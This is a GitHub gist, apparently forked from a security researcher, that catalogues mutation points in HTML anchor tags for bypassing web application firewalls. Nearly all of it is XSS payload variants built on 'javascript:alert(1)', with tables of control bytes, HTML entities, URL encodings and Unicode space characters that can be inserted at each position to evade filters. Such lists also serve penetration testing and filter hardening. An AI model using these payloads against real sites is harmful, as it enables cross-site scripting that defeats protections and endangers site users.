Skip to content

Instantly share code, notes, and snippets.

@Johncs2d

Johncs2d/mutation_a.txt

Forked from hackerscrolls/mutation_a.txt
Created June 17, 2020 14:49
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Johncs2d/33cf3870d0bf60f89ea0029c607b3b6b to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Johncs2d/33cf3870d0bf60f89ea0029c607b3b6b to your computer and use it in GitHub Desktop.
Download ZIP
Mutation points in <a> tag for WAF bypass
Raw
mutation_a.txt
<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">
[1]
Bytes: \x09 \x0a \x0c \x0d \x20 \x2f
<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">
[2,3]
Bytes: \x09 \x0a \x0c \x0d \x20
<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">
[4]
Bytes: \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20
Allowed encodings: HTML
<a href="&Tab;javascript:alert(1)">
<a href="&#x001;javascript:alert(1)">
[5]
Bytes: \x09 \x0a \x0d
Allowed encodings: HTML
<a href="javas\x09cript:alert(1)">
<a href="javas&Tab;cript:alert(1)">
[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0
UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff
Allowed encodings: HTML, URL
<a href="javascript:~alert(1)">
<a href="javascript://%0d%0aalert(1)">
<a href="javascript:\x0calert(1)">
<a href="javascript:%ef%bb%bfalert(1)">
<a href="javascript:&#xfeff;alert(1)">
-----------------------------------------
We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE
\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR
Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment